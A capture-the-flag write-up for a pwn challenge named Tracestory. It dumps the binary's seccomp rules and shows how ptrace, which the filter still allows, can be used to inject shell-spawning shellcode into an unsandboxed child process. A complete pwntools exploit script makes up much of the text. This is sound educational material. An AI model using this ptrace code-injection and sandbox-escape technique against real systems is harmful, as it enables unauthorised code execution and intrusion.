Tracestory
I am trying to figure out the end of this story, but I am not able to read it. Could you help me figure out what it is?
Author: WittsEnd2
0.cloud.chals.io 15148
Summary
This is a seccomp challenge where you have to utilize ptrace
to change behavior of child process.
Analysis
Binary Analysis
Looking at main
function, here are interesting things:
- Uses seccomp
- Uses fork
- Child process calls function called
read_story()
- Parent process then calls
read_input()
thensetup_seccomp()
- Child process calls function called
- Whatever gets written to
read_input()
will eventually be called as function invar_1020()
Child is forked off before seccomp
rules gets applied. Parent process gets input from user then just executes it. (Memory where they store the user function is mmaped with xwr
permission)
Seccomp Rules Analysis
Using seccomp-tools
, you can dump the seccomp rules
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x18 0xc000003e if (A != ARCH_X86_64) goto 0026
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x15 0xffffffff if (A != 0xffffffff) goto 0026
0005: 0x15 0x13 0x00 0x00000003 if (A == close) goto 0025
0006: 0x15 0x12 0x00 0x00000004 if (A == stat) goto 0025
0007: 0x15 0x11 0x00 0x00000005 if (A == fstat) goto 0025
0008: 0x15 0x10 0x00 0x00000006 if (A == lstat) goto 0025
0009: 0x15 0x0f 0x00 0x0000000a if (A == mprotect) goto 0025
0010: 0x15 0x0e 0x00 0x0000000c if (A == brk) goto 0025
0011: 0x15 0x0d 0x00 0x00000015 if (A == access) goto 0025
0012: 0x15 0x0c 0x00 0x00000018 if (A == sched_yield) goto 0025
0013: 0x15 0x0b 0x00 0x00000020 if (A == dup) goto 0025
0014: 0x15 0x0a 0x00 0x00000021 if (A == dup2) goto 0025
0015: 0x15 0x09 0x00 0x00000038 if (A == clone) goto 0025
0016: 0x15 0x08 0x00 0x0000003c if (A == exit) goto 0025
0017: 0x15 0x07 0x00 0x0000003e if (A == kill) goto 0025
0018: 0x15 0x06 0x00 0x00000050 if (A == chdir) goto 0025
0019: 0x15 0x05 0x00 0x00000051 if (A == fchdir) goto 0025
0020: 0x15 0x04 0x00 0x00000060 if (A == gettimeofday) goto 0025
0021: 0x15 0x03 0x00 0x00000065 if (A == ptrace) goto 0025
0022: 0x15 0x02 0x00 0x00000066 if (A == getuid) goto 0025
0023: 0x15 0x01 0x00 0x00000068 if (A == getgid) goto 0025
0024: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0026
0025: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0026: 0x06 0x00 0x00 0x00000000 return KILL
Simplified view of above rules
allowed syscalls
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
close
stat
fstat
lstat
mprotect
brk
access
sched_yield
dup
dup2
clone
exit
kill
chdir
fchdir
gettimeofday
ptrace
getuid
getgid
exit_group
Looking at these syscall, only write primitive syscall was ptrace
and also the challenge is called trace_story
so it is very obvious that we would need to use ptrace
eventually.
Solution
We can use ptrace
to overwrite child’s text segment with our assembly code. Child process executes random code in a infinite loop so we can just overwrite the code in the beginning of the infinite loop.
Usual process for using ptrace
function goes as follow Attach to child process ptrace(PTRACE_ATTACH, CHILD_PID, 0, 0)
-> Wait for child to attach wait(0)
-> Write to child’s text segment to change the code by ptrace(PTRACE_POKETEXT, CHILD_PID, CODE_ADDRESS, 8_BYTES_OF_CODE)
-> Detach from child ptrace(PTRACE_DETACH, CHILD_PID, 0, 0)
Problem is we don’t have wait()
in our syscall. So we can probably use gettimeofday
and calculate our time that way but as great Ken Thompson said once, When in doubt, use brute force.
So I will just attach -> write_text -> detach -> go back to beginning and repeat.
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
exe = context.binary = ELF('trace_story')
context.terminal = ['tmux', 'splitw', '-h']
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(args.HOST, int(args.PORT))
else:
return process([exe.path] + argv, *a, **kw)
gdbscript = f'''
tbreak main
set follow-fork-mode parent
# set detach-on-fork off
b *0x401907
# b *0x401789
continue
'''.format(**locals())
# -- Exploit goes here --
"""
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
"""
io = start()
io.recvuntil("pid: ")
pid = int(io.recvline().strip())
print(f'pid is {pid}')
payload = "begin:"
payload += shellcraft.ptrace(constants.linux.PTRACE_ATTACH, pid, 0, 0)
binsh = asm(shellcraft.sh())
start_addr = 0x401789
for i in range(0, int(len(binsh)/8)):
load_shit = u64(binsh[i * 8:8+(i*8)])
payload += shellcraft.ptrace(constants.linux.PTRACE_POKETEXT, pid, start_addr + (i * 8), load_shit)
payload += shellcraft.ptrace(constants.linux.PTRACE_DETACH, pid, 0, 0)
payload += """
jmp begin
"""
io.sendlineafter(b'Input: \n', asm(payload))
io.interactive()